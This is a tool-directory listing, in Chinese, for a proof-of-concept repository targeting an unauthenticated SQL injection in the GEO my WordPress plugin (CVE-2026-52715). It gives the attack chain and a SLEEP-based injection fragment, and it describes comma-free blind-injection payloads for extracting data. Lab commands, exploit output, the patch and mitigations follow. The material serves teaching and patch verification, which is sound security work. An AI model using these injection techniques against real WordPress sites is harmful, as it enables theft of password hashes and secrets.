Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-GeoLeak-CVE-2026-52715 — CVE-2026-52715(GeoLeak)的功能性PoC:GEO my WordPress <= 4.5.5 中通过 swlatlng/nelatlng 实现的未认证 SQLi。Docker 实验室 + 基于时间/基于布尔的漏洞利用 + 载荷中无逗号的渗出。 | Kitploit
工具/GitHubGitHub/686f6c61/poc-geoleak-cve-2026-52715
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发实验室与实践
GitHub686f6c61/poc-geoleak-cve-2026-52715

POC-GeoLeak-CVE-2026-52715

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

CVE-2026-52715(GeoLeak)的功能性PoC:GEO my WordPress <= 4.5.5 中通过 swlatlng/nelatlng 实现的未认证 SQLi。Docker 实验室 + 基于时间/基于布尔的漏洞利用 + 载荷中无逗号的渗出。

查看仓库
426天前尚未审核
分享

GeoLeak — CVE-2026-52715 的 PoC

GeoLeak(CVE-2026-52715)的教育性概念验证,针对 WordPress 插件 GEO my WordPress <= 4.5.5 的未认证 SQL 注入漏洞(CVSS 9.3)。地图边界的 swlatlng 和 nelatlng 参数在 WHERE 子句中被直接拼接,未经过任何净化处理。包含自包含 Docker 实验室 + 利用 time-based、boolean-based 和逐字符数据外泄技术的漏洞利用脚本。


目录

  1. 执行摘要
  2. 法律声明
  3. 攻击链架构
  4. 环境要求
  5. 仓库结构
  6. 快速使用指南
  7. 漏洞利用验证
  8. 技术分析
  9. 官方补丁(4.5.5.1)
  10. 缓解措施
  11. 致谢
  12. 许可证

执行摘要

CVE-2026-52715 是 GEO my WordPress 插件中 gmw_get_locations_within_boundaries_sql() 函数的 SQL 注入漏洞(CWE-89),影响所有 <= 4.5.5 版本,自 4.5.5.1(2026 年 6 月 15 日)起已被修补。该漏洞由研究员 alvarodh5 发现,并通过 Patchstack 发布。

这条被命名为 GeoLeak 的攻击链展示了,攻击者仅需对包含 [gmw] 短代码的任何公共页面具有读取访问权限,就可以:

  1. 通过查询字符串中的 swlatlng(或 nelatlng)参数注入任意 SQL,无需 cookie、无需 nonce、无需身份验证。
  2. 利用 SLEEP()(时间盲注)强制产生可测量的延迟,该延迟针对 wp_gmw_locations 的 INNER JOIN 逐行进行计算。
  3. 利用插件在地图配置 JSON 中嵌入的 "total_results":N 判定条件,推断布尔条件(布尔盲注)。
  4. 通过 CASE WHEN 和 SUBSTRING(x FROM n FOR 1) 逐字符外泄整个数据库,同时避开 payload 不能包含逗号的限制(PHP 使用 explode(',', ...) 对值进行切分)。

最终结果是可任意读取 WordPress 数据库:wp_users 表(密码哈希)、配置选项、密钥以及存储在插件中的第三方数据。

在 PoC 中,仅通过 GET 请求即可验证完整提取 MariaDB 的 VERSION()。


法律声明

本仓库包含严格意义上的教育性和防御性材料。

  • 目的: 以培训、自主审计和补丁验证为目的演示攻击链。
  • 授权使用: 仅可对属于你自己的系统,或你拥有明确书面授权的系统执行。内置的 Docker 实验室是唯一预期的运行环境。
  • 禁止: 未经同意对第三方系统进行任何使用。仓库作者对本文所含材料的滥用不承担任何责任。
  • 责任: 操作者全权负责遵守适用的法律法规(西班牙的 LOPD/RGPD、美国的 CFAA 等)。

攻击链架构

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│  1. Peticion publica sin autenticar                                 │
│     GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=…  │
│     pagina publica con shortcode [gmw form="1"]                     │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  2. GMW_Form::set_default_values()                                  │
│     action=fs => formulario marcado como enviado                    │
│     get_form_values() toma $_SERVER['QUERY_STRING']                 │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  3. gmw_get_form_values() (gmw-functions.php:512)                   │
│     parse_str($query_string, $output)  sin lista de permitidos      │
│     $output['swlatlng'] llega intacto                               │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  4. parse_query_args() (class-gmw-form-core.php:794)                │
│     gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669)   │
│     $sw = explode(',', $southwest);                                 │
│     "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )"  │
│     interpolacion directa: sin prepare, sin validacion              │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  6. WP_Query -> $wpdb->get_results()                                │
│     SQL: ... AND ( gmw_locations.latitude BETWEEN                   │
│            1 AND SLEEP(5) AND 40.416775 AND 41 ) ...                │
│     respuesta retardada 5s / total_results = oraculo                │
└─────────────────────────────────────────────────────────────────────┘

环境要求

  • Docker 和 Docker Compose(已在 Docker 29.4.1 / Compose v5.2.0 上测试)
  • 用于漏洞利用脚本的 curl 和 awk
  • 3080 端口空闲(或在 docker-compose.yml 中更改映射)

仓库结构

root@kitploit:~
POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml          WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│   ├── Dockerfile              Imagen WP + WP-CLI + entrypoint del laboratorio
│   ├── lab-entrypoint.sh       Arranque + siembra automatica en el primer boot
│   ├── seed.sh                 Instalacion WP, formulario, post geolocalizado
│   └── geo-my-wp/              Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│   └── poc.sh                  Exploit: time-based + boolean-based + exfiltracion
├── docs/
│   ├── analisis-tecnico.md     Cadena completa request -> SQL, con codigo
│   └── diff-parche-4.5.5.1-gmw-functions.php.diff   Parche oficial real
├── LICENSE
└── README.md

快速使用指南

root@kitploit:~
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build

# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo

# 3. Ejecutar la PoC
./poc/poc.sh

# 4. Destruir el laboratorio
docker compose down -v

漏洞利用脚本的可配置参数:

root@kitploit:~
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh

WordPress 访问地址:http://localhost:3080,使用 admin/admin。包含漏洞表单的页面为 http://localhost:3080/?page_id=5。

注意:wp_gmw_locations 中的种子行是必不可少的。查询会与该表进行 INNER JOIN:如果没有行,注入的 WHERE 条件不会被执行,SLEEP() 也不会生效。


漏洞利用验证

针对实验室最后一次执行的真实输出(2026 年 8 月 14 日):

root@kitploit:~
$ ./poc/poc.sh
===================================================
 CVE-2026-52715 | GEO my WordPress <= 4.5.5
 SQLi no autenticada via swlatlng/nelatlng
 Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
    Peticion benigna : 0.037000s
    Payload SLEEP    : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
    Condicion TRUE  -> total_results=1
    Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado

直接针对数据库的交叉验证:

root@kitploit:~
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
    -N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404

针对已修补版本(>= 4.5.5.1)时,time-based 阶段会在毫秒级响应,PoC 将以 [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1) 结束。


技术分析

包含代码片段和精确行号的完整详情,请参阅 docs/analisis-tecnico.md。要点如下:

  • 汇聚点(Sink): gmw_get_locations_within_boundaries_sql() 将 {$sw[0]}、{$sw[1]}、{$ne[0]}、{$ne[1]} 直接拼接到 WHERE 子句中(四个位置均可注入)。
  • 源头(Source): gmw_get_form_values() 使用 parse_str() 处理完整的查询字符串,且没有白名单。
  • 利用限制: payload 不能包含逗号,因为 PHP 会执行 explode(',', $southwest)。PoC 使用 CASE WHEN a THEN b ELSE c END 代替 IF(a,b,c),并使用 SUBSTRING(x FROM n FOR 1) 代替 SUBSTRING(x,n,1)。
  • 布尔判定条件: 地图嵌入的 JSON 会暴露 "total_results":N;漏洞利用脚本会校准长度范围(-10..1),使种子行在条件为真时能够存活。
  • 技术手段: time-based 和 boolean-based 已得到验证;UNION-based 为理论可行(需要对齐 wp_posts.* 的列以及 gmw 字段);error-based 不实用(wpdb 会静默处理错误)。
  • 已排除的 AJAX 端点: 插件的三个 wp_ajax_nopriv_* 处理程序要么不执行 SQL(免费版),要么受 nonce 保护。在免费版中,该 CVE 的攻击向量是表单的 GET 请求。

官方补丁(4.5.5.1)

完整的真实 diff 请参阅 docs/diff-parche-4.5.5.1-gmw-functions.php.diff。在 4.5.5 和 4.5.5.1 之间,仅有三个文件存在差异(版本文件 geo-my-wp.php、更新日志 readme.txt 和 includes/gmw-functions.php):

  1. 新增验证函数 gmw_parse_latlng_boundary():要求恰好包含 2 个有限的数值部分,且 |lat| <= 90、|lng| <= 180。
  2. gmw_get_form_values() 使用 unset() 丢弃未通过验证的值。
  3. 汇聚点使用 $wpdb->prepare() 和 %f 占位符重写。

插件当前版本:4.5.5.3(2026 年 7 月),已修补。


缓解措施

  1. 将 GEO my WordPress 更新至 >= 4.5.5.1(主要措施)。
  2. 如果无法立即更新:在 WAF 中添加规则,阻止 swlatlng/nelatlng 中的非数值内容,或采用虚拟补丁(Patchstack 及类似方案)。
  3. 审查公开的 [gmw] 表单是否需要按地图边界进行搜索。
  4. 在日志中监控带有异常 swlatlng/nelatlng 模式的访问。
  5. 如果站点曾经暴露:轮换密钥并重新评估 wp_users 的哈希,因为注入漏洞允许读取这些哈希。

致谢

  • 发现: 研究员 alvarodh5(2026 年 4 月 10 日报告,2026 年 6 月 15 日通过 Patchstack 发布)。
  • Patchstack 条目
  • NVD CVE-2026-52715 记录
  • wordpress.org 上的 GEO my WordPress

许可证

MIT

下载工具